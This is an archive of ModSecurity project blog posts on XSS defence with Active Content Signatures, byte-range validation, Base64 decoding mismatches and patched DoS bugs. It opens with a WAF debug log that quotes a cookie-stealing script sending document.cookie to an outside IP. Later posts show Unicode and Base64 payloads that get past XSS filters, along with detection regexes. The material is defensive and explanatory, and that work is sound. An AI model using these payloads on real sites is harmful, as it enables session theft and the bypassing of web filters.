Executing operator "rx" with param "(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)| application\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)fol der)\\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec| ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)\\b\\W*?=|abort\\b)|(?:l(?:owsrc\\b\\W*?\\b(?:(?:java|vb) script|shell)|ivescript)|(?:href|url)\\b\\W*?\\b(?:(?:java|vb)script|shell)|background-image|mocha):|s( ?:(?:tyle\\b\\W*=.*\\bexpression\\b\\W*|ettimeout\\b\\W*?)\\(|rc\\b\\W*?\\b(?:(?:java|vb)script|shell|h ttp):)|a(?:ctivexobject\\b|lert\\b\\W*?\\())|<(?:(?:body\\b.*?\\b(?:backgroun|onloa)d|input\\b.*?\\btyp e\\b\\W*?\\bimage|script|meta)\\b|!\\[cdata\\[)|(?:\\.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e |innerhtml)|\\@import)\\b)" against ARGS:param.
Target value: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</scr ipt>"
Added regex subexpression to TX.0: <script
Operator completed in 805 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Ctl: Set auditLogParts to ABIEFHZE.
Rule returned 1.
Match, intercepted -> returning.
Resolved macro %{TX.0} to "<script"
Access denied with code 500 (phase 2). Pattern match "(?:\b(?:(?:type\b\W*?\b(?:text\b\W*?\b(?:j(?:ava) ?|ecma|vb)|application\b\W*?\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|pa rent)folder)\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick) .. ." at ARGS:param. [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf"] [line "15"] [id "1"] [msg "Cross-site Scripting (XSS) Attack. Matched signature <<script>"] [severity "CRITICAL"]
Time #2: 14304
Hook insert_error_filter: Adding output filter (r 9747ca0).
Output filter: Receiving output (f 9749ac8, r 9747ca0).
Starting phase RESPONSE_HEADERS.
This phase consists of 1 rule(s).
Recipe: Invoking rule 9653e90; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "6"].
Rule 9653e90: SecRule "TX:ALERT" "@eq 1" "phase:3,log,pass,chain,prepend:'<script>alert(\"Why Are You T rying To Hack My Site?\")</script>'"
Expanded "TX:ALERT" to "TX:alert".
CACHE: Disabled - TX:alert value length=1, smaller than minlen=15
Executing operator "eq" with param "1" against TX:alert.
Target value: "1"
Operator completed in 711 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Rule returned 1.
Match -> mode NEXT_RULE.
Recipe: Invoking rule 9654380; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "7"].
Rule 9654380: SecRule "RESPONSE_CONTENT_TYPE" "^text/html"
CACHE: Enabled
Executing operator "rx" with param "^text/html" against RESPONSE_CONTENT_TYPE.
Target value: "text/html; charset=iso-8859-1"
Operator completed in 13 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Warning. Pattern match "^text/html" at RESPONSE_CONTENT_TYPE. [file "/usr/local/apache/conf/rules/modse curity_crs_15_customrules.conf"] [line "6"]
Rule returned 1.
Match -> mode NEXT_RULE.
Content Injection: Removing headers (C-L, L-M, Etag, Expires).
Output filter: Bucket type HEAP contains 535 bytes.
Output filter: Bucket type EOS contains 0 bytes.
Output filter: Completed receiving response body (buffered full - 535 bytes).

--CUT--

XSS Defense Use-Case Example: Active Content Signatures (ACS)

Now that we have a mechanism for adding Javascript to outbound responses, which will allow us access into the browser environment, the next question is: what data do we add?  After some independent research, including the OWASP Encoding Project and Google-Caja's html_sanitizer.js I decided to reach out to some fellow web security folks (Mario Heiderich and Stefano Di Paola) who lead me to Eduardo Vela's Active Content Signatures (ACS) Project.  Bingo!  This is the intro section from Eduardo's ACS PDF:

One of the main challenges in secure web application development is how to mix user supplied content and the server content. This, in its most basic form has created one ofthe most common vulnerabilities now a days that affect most if not all websites in the web, the so called Cross Site Scripting (XSS).

A good solution would be a technology capable of limiting the scope of XSS attacks, by a way to tell the browser what trusted code is, and what is not. This idea has been out for ages, but it has always required some sort of browser native support.  ACS (Active Content Signature) comes to solve this problem, by creating a JavaScript code that will work in all browsers, without the need to install anything, and that will completely remove from the DOM any type of dangerous code.


I will start by demonstrating how ACS solves XSS issues, without the need ofthe server to do any type of parsing or filtering, and without endangering the user.  ACS will be appended at the beginning of the webpage's HTML code. As a simple external JavaScriptcode, something like:


<html><head><script type="text/javascript" src="/acs.js">/*signaturehere*/<plaintext/></script>

When this script is loaded, it will automatically stop the parsing of the rest ofthe HTML page. It will, then recreate the DOM itself, taking out dangerous snippets of code (like event handlers,or scripts), making the browser display it's content's without any danger.  Now, if the user wants to make exceptions so their own scripts are loaded,they can do so, ina very simple way... adding a signature.

After discussing my goals with Eduardo and working through some tests, we came up with a working proof of concept integration using ModSecurity's Content Injection capabilities to prepend the ACS JS code to the top of selected web pages.  The advantage of this approach is that you don't have to alter the html source of any of your pages, as ModSecurity will prepend this data for you on the fly.    

Here is what you need to test out this concept:

  • Download the ACS JS file from Eduardo's site and place it in your site's DocumentRoot as clients will need to access this file when our injected JS executes.
  • Download the localized ACS file from the ModSecurity site and place it within your DocumentRoot as well as the clients will also need to access this file.  This is the file that creates the temporary DOM, validates/allows the authorized JS to run on your site and then recreates the DOM.  You will need to update the "default-src" regular expression to allow JS to run from authorized domains (such as Google Analytics, 3rd party sites, etc...)
  • Add the following ModSecurity directives/rules to your ModSecurity configuration:
SecContentInjection On
SecRule RESPONSE_CONTENT_TYPE "^text/html" "phase:4,t:none,nolog,prepend:'<html><head><script type=\"text/javascript\" src=\"/acs.js\"></script><script type=\"text/javascript\" src=\"/xss.js\"></script>'"

In order to help facilitate community testing of this proof of concept, we have created an online demo.  We encourage the community to help test this implementation to help identify any evasions or bugs.  You can toggle on/off the XSS Defense to ensure that your payload executes and then continue testing with the defense in place.

Current Limitations

  • The current implementation of ACS does not allow for inline scripts, so web pages would need to be re-written to reference external src files.
  • There are still browser quirks that cause parsing errors in the new DOM rendered by ACS (surprise, surprise in IE...)
  • The blacklist tags in the ACS code still need to be expanded

Conclusion

We hope that this concept helps to provide a layered defense for XSS issues and to show yet another advanced feature of ModSecurity!

Advanced Topic of the Week: Validating Byte Ranges

We are starting a new blog post series here on the ModSecurity site called "Advanced Feature of the Week" where we will be highlighting many of ModSecurity's really cool capabilities.  These are the features that seldom used or fully understood by the average ModSecurity user however can provide detection of sophisticated attacks if used properly.  It is our goal with these blog posts to help shed light on these unique features and to provide some real-world, in-the-trenches gotchas for successful usage of these features.

This blog post series will have the following major topic sections -

1) ModSecurity Reference Manual Information

Provide reference manual data.

2) Use Within the OWASP Core Rule Set (CRS)

Outline if/when/how the CRS is utilizing this feature.

3) So What?

Will provide some context as to why you as a user should even care about this capability.  What advanced attack/vulnerability is this attempting to catch.

This week's feature is on the use of the @validateByteRange operator.

Reference Manual

validateByteRange

Description: Validates the byte range used in the variable falls into the specified range.

Example:

SecRule ARGS:text "@validateByteRange 10, 13, 32-126"

Note

You can force requests to consist only of bytes from a certain byte range. This can be useful to avoid stack overflow attacks (since they usually contain "random" binary content). Default range values are 0 and 255, i.e. all byte values are allowed. This directive does not check byte range in a POST payload when multipart/form-data encoding (file upload) is used. Doing so would prevent binary files from being uploaded. However, after the parameters are extracted from such request they are checked for a valid range.

validateByteRange is similar to the ModSecurity 1.X SecFilterForceByteRange Directive however since it works in a rule context, it has the following differences:

  • You can specify a different range for different variables.

  • It has an "event" context (id, msg....)

  • It is executed in the flow of rules rather than being a built in pre-check.

ASCII Byte Range Chart

æ







backspace
tab
linefeed


c return


















space
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
00
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~




ƒ




ˆ

Š

Œ

Ž

96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143








˜

š

œ

ž
Ÿ

¡
¢
£

¥
|
§
¨
©
ª
«
¬
¯
®
¯
°
±
²
³
´
µ

·
¸
¹
º
»
¼
½
¾
¿
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
À
Á
Â
Ã
Ä
Å
Æ
Ç
È
É
Ê
Ë
Ì
Í
Î
Ï
Ð
Ñ
Ò
Ó
Ô
Õ
Ö

Ø
Ù
Ú
Û
Ü
Ý
Þ
ß
à
á
â
ã
ä
å
æ
ç
è
é
ê
ë
ì
í
î
ï
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
ð
ñ
ò
ó
ô
õ
ö
÷
ø
ù
ú
û
ü
ý
þ
ÿ

240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255


OWASP ModSecurity CRS

Use of @validateByteRange in the OWASP ModSecurity CRS (from the end of the modsecurity_crs_20_protocol_violations.conf file) -

#
# Restrict type of characters sent
# NOTE In order to be broad and support localized applications this rule
# only validates that NULL Is not used.
#
# The strict policy version also validates that protocol and application 
# generated fields are limited to printable ASCII. 
#
# -=[ Rule Logic ]=-
# This rule uses the @validateByteRange operator to look for Nul Bytes.
# If you set Paranoid Mode - it will check if your application use the range 32-126 for parameters.
#
# -=[ References ]=-
# http://i-technica.com/whitestuff/asciichart.html
#

SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "@validateByteRange 1-255" \
 "phase:2,rev:'2.0.8',pass,nolog,auditlog,msg:'Invalid character in request',id:'960901',tag:'PROTOCOL_VIOLATION/EVASION',tag:'WASCTC/WASC-28',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE3',tag:'PCI/6.5.2',severity:'4',t:none,t:urlDecodeUni,setvar:'tx.msg=%{rule.msg}',tag:'http://i-technica.com/whitestuff/asciichart.html',setvar:tx.anomaly_score=+%{tx.notice_anomaly_score},setvar:tx.protocol_violation_score=+%{tx.notice_anomaly_score},setvar:tx.%{rule.id}-PROTOCOL_VIOLATION/EVASION-%{matched_var_name}=%{matched_var}"

SecRule TX:PARANOID_MODE "@eq 1" "chain,phase:2,rev:'2.0.8',pass,nolog,auditlog,msg:'Invalid character in request',id:'960018',tag:'PROTOCOL_VIOLATION/EVASION',tag:'WASCTC/WASC-28',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE3',tag:'PCI/6.5.2',severity:'4',t:none,t:urlDecodeUni,tag:'http://i-technica.com/whitestuff/asciichart.html'"
 SecRule REQUEST_URI|REQUEST_BODY|REQUEST_HEADERS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer|TX:HPP_DATA \
 "@validateByteRange 32-126" \
 "t:none,t:urlDecodeUni,setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.notice_anomaly_score},setvar:tx.protocol_violation_score=+%{tx.notice_anomaly_score},setvar:tx.%{rule.id}-PROTOCOL_VIOLATION/EVASION-%{matched_var_name}=%{matched_var}"

As you can see, the CRS is, by default, only restricting the existence of Nul Bytes.  If the user initiates the PARANOID_MODE variable, however, the CRS will restrict down the allowed byte range to only allow 32-126 which are the normal printable characters for US ASCII (space character through the tilde character).

So What?

Why would you need to use @validateByteRange to restrict anything more than Nul Bytes?  The short answer is because of the potential of Impedance Mismatches between a security inspection system (IDS, IPS or WAF) and the target web application.  The process of data normalization or canonicalization and how the destination web application handles best-fit mappings can cause issues with bypasses.  Here is a great recent references for this issue.

  • Lost In Translation - Giorgia Maone (of the NoScript FF extension fame) outlines how ASP classic web apps attempt to do best-fit mappings of non-ASCII Unicode characters.  One example issue is the following XSS payload

%u3008scr%u0131pt%u3009%u212fval(%uFF07al%u212Frt(%22XSS%22)%u02C8)%u2329/scr%u0131pt%u2A
This payload should be correctly decoded to this -

〈scrıpt〉ℯval('alℯrt(”XSS”)ˈ)〈/scrıpt〉

ASP classic, however, will try and do best-fit mapping and actually will normalize the data into working JS code -

<script>eval('alert("XSS")')</script>
The issue that this raises, for security inspection, is that the inbound payload will most likely not match most XSS regular expression payloads however the application itself will modify it into executable code!

So, this brings us to today's advanced ModSecurity feature - @validateByteRange.  By restricting the allowed character byte ranges, you can help to identify when unexpected character code points are used.  If the payload above is sent, you should receive an alert message similar to the following -

Message: Found 3 byte(s) in REQUEST_URI outside range: 32-126. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "251"] [id "960018"] [rev "2.0.6"] [msg "Invalid character in request"] [severity "WARNING"] [tag "PROTOCOL_VIOLATION/EVASION"] [tag "WASCTC/WASC-28"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE3"] [tag "PCI/6.5.2"] [tag "http://i-technica.com/whitestuff/asciichart.html"]


What's up @ ModSecurity?

Since Black Hat and DEFCON we have been busying building teams and aligning objectives over here at Trustwave's SpiderLabs. We are committed to driving innovation into the development of ModSecurity for the future.

Here are are few things that we having going on right now:

  • Website Updates - We are in the process of refreshing the website to reflect its new home within SpiderLabs but also clean out any dusty content and replace it with fresh new material. Look for phases of changes over the next several weeks.
  • Recruiting - We are actively looking to hire full-time developers for ModSecurity. Those developers will be part of the SpiderLabs research team. If you or anyone you know is interested, please let us know.
  • Internal Development Team - We have formed a team of people within SpiderLabs that will be actively contributing to ModSecurity. This team is comprised of many very experienced individuals including many OWASP, Black Hat and DEFCON researchers/speakers in the area of web application security. This team is excited to breath new life into this project.
  • End User Survey - In the next few weeks, we will be sending out a survey to the ModSecurity mailing lists to ask for feedback on features to include in the next release.
  • Blog Updates - Each week we'll be writing about an Advance Feature in ModSecurity that the community and end users may not be aware of. The idea is here is that with increased usage of these advanced, we'll get better feedback on how to improve the product.
  • Twitter - We have just linked this blog to the ModSecurity Twitter account. Follow us!

ModSecurity Has a New Home

As many of you already know, about a month ago Trustwave acquired Breach Security, the then owner and sponsor of the ModSecurity project. Trustwave's Spider Labs will now be leading the project. Within Spider Labs and the highly capable people there, ModSecurity will be able to thrive.

And so, it is with mixed feelings that I also announce that I am stepping down from the project. I have enjoyed working on ModSecurity with Breach for the past 3 1/2 years, but it is time for me to move on to another exciting project (more on that later). While I may be stepping down as a leader, I am not leaving, just changing roles. I plan to stay an active member of the community and to contribute where I can. I expect to see a lot of innovation from ModSecurity in the near future and I look forward to see where ModSecurity will go with all its new resources.

Cheers to ModSecurity's new home in Spider Labs and to a successful future!

P.S. -- I'll be around at Black Hat/DEFCON next week in Vegas if anyone wants to hook up.

ModSecurity Happy Hour @ Black Hat USA

ModSecurity Community,

We will be hosting a ModSecurity happy hour during Black Hat USA. It is open to anyone who contributes, uses or wants to learn more about the project. You'll also get a chance to meet the members of Trustwave's SpiderLabs team that will be supporting the ModSecurity project moving forward. 

  • What: ModSecurity Happy Hour
  • Where: munchbar @ Caesar's Palace LV (next to Sports Bar & Pure Night Club)
  • When: Wednesday, July 28th, 2010 - 4:00-6:00 PM

There will be appetizers, drinks, and Nintendo Wii action!

Look forward to meeting you next week!

Nicholas J. Percoco

Senior Vice President, SpiderLabs

Trustwave

Impedance Mismatch and Base64

There was a recent blog article stating that ModSecurity can be bypassed by adding invalid characters to Base64 encoded data. Well, this is somewhat correct, but I am not sure I'd call it a bypass. It is really "Impedance Mismatch" as it depends on the decoder you are using in your app. PHP's decoder is ignoring characters (RFC-2045) and ModSecurity is doing what Apache does for HTTP Basic Auth and not allowing the extra characters (RFC-4648)

The article's example is roughly this:

1) Take an attack string: <script>alert(1)</script>
2) Base64 encode it to: PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
3) Now add an illegal character: P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
4) Notice that most decoders will not work, but PHP's will (act surprised)

PHP will apparently just skip the invalid characters (RFC-2045) and so something like this (article's example, not mine) will of course fail:

SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"

The Base64 decoder in ModSecurity is based off the RFC-4648 implementation of Base64. There are many other variants. Well, as it turns out it is important to know a bit more about your platform on which your app is based and the above trivial rule is just not going to cut it.

For PHP and possibly others you will need to go a little further and validate the character set first using a positive rule. Something like this is going to be required for the article's example:

SecRule ARGS:b64 "!^[A-Za-z0-9\+/]*={0,2}$" \
  "phase:2,t:none,log,deny,status:403,msg:'Invalid Base64 Encoding'"
SecRule ARGS:b64 "alert" \
  "phase:2,t:none,t:base64decode,log,deny,status:403,msg:'Badness in b64'"

And now you get some better coverage:

# For PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
ModSecurity: Access denied with code 403 (phase 2). Pattern match "alert" 
at ARGS:b64. [file "test.conf"] [line "3"] [msg "Badness in b64"] 
[hostname "myhost"] [uri "/foo"] [unique_id "S8-4-X8AAQEAACGOJcoAAAAA"]

# For P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
ModSecurity: Access denied with code 403 (phase 2). Match of 
"rx ^[A-Za-z0-9\\\\+/]*={0,2}$" against "ARGS:b64" required. 
[file "test.conf"] [line "1"] [msg "Invalid Base64 Encoding"] 
[hostname "myhost"] [uri "/foo"] [unique_id "S8-5BX8AAQEAACJSKBYAAA@i"]

Though I am picking on PHP a bit here, this may be true in many other areas if you have decoders/parsers that accept out-of-the-norm data. You really do have to know your apps to write targeted rules like the example in this article. You cannot detect encodings like Base64 generically and I would not expect to find such a rule as this in a generic rule set such as ModSecurity's CRS.

Edited: Added details on which RFCs I was referring to and removed blame on PHP after further investigation as it really is just an issue with multiple variants of base64.

ModSecurity Vulnerabilities Fixed

ModSecurity versions 2.5.8 and 2.5.9 have been released to fix two vulnerabilities which could be used to cause a denial of service (DoS).  The first vulnerability is fixed in version 2.5.8 and the second (as it was disclosed after version 2.5.8 was already frozen) is fixed in version 2.5.9.  Because of this, the 2.5.8 release should be disregarded in favor of 2.5.9.  Both vulnerabilities, however, have workarounds until ModSecurity can be upgraded/patched.

Vulnerability in the PDF XSS engine

The ModSecurity PDF XSS protection engine prior to version 2.5.8 would allow a NULL pointer to be dereferenced when a non-GET request was used to generate a PDF.  This would cause Apache to crash and allow for a denial of service (Low Risk).

As a workaround, you should disable PDF XSS protection (the default), such as in the following example, until an update to ModSecurity is in place.

SecPdfProtect Off

Vulnerability in the multipart request parser

The ModSecurity multipart request parser prior to version 2.5.9 would allow a NULL pointer to be dereferenced under some circumstances when a zero length part header name is used.  This would cause Apache to crash and allow for a denial of service (Med-High Risk).

As a workaround, you should disable multipart/form-data parsing and add a rule to detect exploitation, as in the following example, until an update to ModSecurity is in place.

###
# BEGIN TEMPORARY WORKAROUND
#
# Force URLENCODED processing so that the vulnerability is bypassed
# and the REQUEST_BODY target variable is populated, but at the
# expense of no longer being able to parse multipart form arguments.
SecRule REQUEST_HEADERS:Content-Type "multipart/form-data" \
"phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=URLENCODED"
#
# Deny any multipart requests with a zero length header name
SecRule REQUEST_HEADERS:Content-Type "multipart/form-data" \
"chain,phase:2,t:none,t:lowercase,deny,msg:'ModSecurity DoS attempt - NULL part header name'"
SecRule REQUEST_BODY "(?m:^--.*\\x0d\\x0a?:.*\\x0d\\x0a?--)" "t:none"
#
# END TEMPORARY WORKAROUND
###

More details can be found in the CHANGES file within the released source packages.  Special thanks to those at Red Hat and Internet Security Auditors for disclosing the vulnerabilities.

Both of these are excellent examples of how ModSecurity can be used to provide a virtual patch before an upgrade and/or proper patch can be applied -- even a vulnerability within ModSecurity itself.

Calendar

November 2010
Sun Mon Tue Wed Thu Fri Sat
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

Feeds

Atom Feed

Search

Categories

Recent Entries

Archives